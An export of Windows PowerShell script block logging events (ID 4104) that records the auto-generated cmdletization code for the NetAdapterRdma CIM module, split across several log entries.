$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceDescription') -and (@('ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletiza
ScriptBlock ID: 3a3beca6-cb22-4111-b94d-f158e6cd483b
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1937 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4476 | 1496 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:09 AM | dfeadd90-ee34-0002-a9fe-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (3 of 3):
ModelWrapper.ProcessRecord($__cmdletization_queryBuilder, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru)
}
}
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapterRdma.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Enable-NetAdapterRdma' -Alias '*'
function Disable-NetAdapterRdma
{
[CmdletBinding(DefaultParameterSetName='ByName', SupportsShouldProcess=$true, ConfirmImpact='Low', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
param(
[Parameter(ParameterSetName='ByName', Position=0, ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifDesc','InstanceID')]
[ValidateNotNull()]
[string[]]
${InterfaceDescription},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='InputObject (cdxml)', Mandatory=$true, ValueFromPipeline=$true)]
[PSTypeName('Microsoft.Management.Infrastructure.CimInstance#MSFT_NetAdapterRdmaSettingData')]
[ValidateNotNull()]
[ciminstance[]]
${InputObject},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${NoRestart},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${PassThru},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceDescription') -and (@('ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceDescription})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceDescription', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('IncludeHidden') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeHidden', ${IncludeHidden})
}
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
switch -exact ($PSCmdlet.ParameterSetName) {
{ @('ByName', 'ByInstanceID', 'InputObject (cdxml)') -contains $_ } {
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('NoRestart')) {
[object]$__cmdletization_value = ${NoRestart}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('PassThru')) {
[object]$__cmdletization_value = ${PassThru}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'CmdletOutput'; ParameterType = 'Microsoft.Management.Infrastructure.CimInstance'; Bindings = 'Out'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = $null
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('Disable', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_passThru = $false
if ($PSBoundParameters.ContainsKey('InputObject')) {
foreach ($x in $InputObject) { $__cmdletization_objectModelWrapper.ProcessRecord($x, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru) }
} else {
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru)
}
}
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapterRdma.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Disable-NetAdapterRdma' -Alias '*'
ScriptBlock ID: ec4d60e7-ee59-46d6-9def-72afa0a1382b
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1936 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4476 | 1496 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:09 AM | dfeadd90-ee34-0002-a3fe-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (2 of 3):
if ($PSBoundParameters.ContainsKey('Enabled')) {
[object]$__cmdletization_value = ${Enabled}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'Enabled'; ParameterType = 'System.Boolean'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'Enabled'; ParameterType = 'System.Boolean'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('NoRestart')) {
[object]$__cmdletization_value = ${NoRestart}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = $null
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('cim:ModifyInstance', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_passThru = $PSBoundParameters.ContainsKey('PassThru') -and $PassThru
if ($PSBoundParameters.ContainsKey('InputObject')) {
foreach ($x in $InputObject) { $__cmdletization_objectModelWrapper.ProcessRecord($x, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru) }
} else {
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru)
}
}
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapterRdma.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Set-NetAdapterRdma' -Alias '*'
function Enable-NetAdapterRdma
{
[CmdletBinding(DefaultParameterSetName='ByName', SupportsShouldProcess=$true, ConfirmImpact='Low', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
param(
[Parameter(ParameterSetName='ByName', Position=0, ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifDesc','InstanceID')]
[ValidateNotNull()]
[string[]]
${InterfaceDescription},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='InputObject (cdxml)', Mandatory=$true, ValueFromPipeline=$true)]
[PSTypeName('Microsoft.Management.Infrastructure.CimInstance#MSFT_NetAdapterRdmaSettingData')]
[ValidateNotNull()]
[ciminstance[]]
${InputObject},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${NoRestart},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${PassThru},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceDescription') -and (@('ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceDescription})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceDescription', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('IncludeHidden') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeHidden', ${IncludeHidden})
}
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
switch -exact ($PSCmdlet.ParameterSetName) {
{ @('ByName', 'ByInstanceID', 'InputObject (cdxml)') -contains $_ } {
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('NoRestart')) {
[object]$__cmdletization_value = ${NoRestart}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('PassThru')) {
[object]$__cmdletization_value = ${PassThru}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'CmdletOutput'; ParameterType = 'Microsoft.Management.Infrastructure.CimInstance'; Bindings = 'Out'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = $null
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('Enable', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_passThru = $false
if ($PSBoundParameters.ContainsKey('InputObject')) {
foreach ($x in $InputObject) { $__cmdletization_objectModelWrapper.ProcessRecord($x, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru) }
} else {
$__cmdletization_object
ScriptBlock ID: ec4d60e7-ee59-46d6-9def-72afa0a1382b
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1935 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4476 | 1496 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:09 AM | dfeadd90-ee34-0002-a3fe-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 3):
#requires -version 3.0
try { Microsoft.PowerShell.Core\Set-StrictMode -Off } catch { }
$script:MyModule = $MyInvocation.MyCommand.ScriptBlock.Module
$script:ClassName = 'ROOT/StandardCimv2/MSFT_NetAdapterRdmaSettingData'
$script:ClassVersion = '1.0.0'
$script:ModuleVersion = '1.0'
$script:ObjectModelWrapper = [Microsoft.PowerShell.Cmdletization.Cim.CimCmdletAdapter]
$script:PrivateData = [System.Collections.Generic.Dictionary[string,string]]::new()
Microsoft.PowerShell.Core\Export-ModuleMember -Function @()
function __cmdletization_BindCommonParameters
{
param(
$__cmdletization_objectModelWrapper,
$myPSBoundParameters
)
if ($myPSBoundParameters.ContainsKey('CimSession')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['CimSession'].Value = $myPSBoundParameters['CimSession']
}
if ($myPSBoundParameters.ContainsKey('ThrottleLimit')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['ThrottleLimit'].Value = $myPSBoundParameters['ThrottleLimit']
}
if ($myPSBoundParameters.ContainsKey('AsJob')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['AsJob'].Value = $myPSBoundParameters['AsJob']
}
}
function Get-NetAdapterRdma
{
[CmdletBinding(DefaultParameterSetName='ByName', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
[OutputType('Microsoft.Management.Infrastructure.CimInstance#ROOT/StandardCimv2/MSFT_NetAdapterRdmaSettingData')]
param(
[Parameter(ParameterSetName='ByName', Position=0, ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifDesc','InstanceID')]
[ValidateNotNull()]
[string[]]
${InterfaceDescription},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceDescription') -and (@('ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceDescription})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceDescription', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('IncludeHidden') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeHidden', ${IncludeHidden})
}
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder)
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapterRdma.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Get-NetAdapterRdma' -Alias '*'
function Set-NetAdapterRdma
{
[CmdletBinding(DefaultParameterSetName='ByName', SupportsShouldProcess=$true, ConfirmImpact='Low', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
[OutputType('Microsoft.Management.Infrastructure.CimInstance#ROOT/StandardCimv2/MSFT_NetAdapterRdmaSettingData')]
param(
[Parameter(ParameterSetName='ByName', Position=0, ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifDesc','InstanceID')]
[ValidateNotNull()]
[string[]]
${InterfaceDescription},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='InputObject (cdxml)', Mandatory=$true, ValueFromPipeline=$true)]
[PSTypeName('Microsoft.Management.Infrastructure.CimInstance#MSFT_NetAdapterRdmaSettingData')]
[ValidateNotNull()]
[ciminstance[]]
${InputObject},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[bool]
${Enabled},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${NoRestart},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${AsJob},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${PassThru})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceDescription') -and (@('ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceDescription})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceDescription', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('IncludeHidden') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeHidden', ${IncludeHidden})
}
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
switch -exact ($PSCmdlet.ParameterSetName) {
{ @('ByName', 'ByInstanceID', 'InputObject (cdxml)') -contains $_ } {
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
ScriptBlock ID: ec4d60e7-ee59-46d6-9def-72afa0a1382b
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1934 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4476 | 1496 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:09 AM | dfeadd90-ee34-0002-a3fe-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (2 of 2):
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceDescription') -and (@('ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceDescription})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceDescription', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('IncludeHidden') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeHidden', ${IncludeHidden})
}
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
switch -exact ($PSCmdlet.ParameterSetName) {
{ @('ByName', 'ByInstanceID', 'InputObject (cdxml)') -contains $_ } {
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('NoRestart')) {
[object]$__cmdletization_value = ${NoRestart}
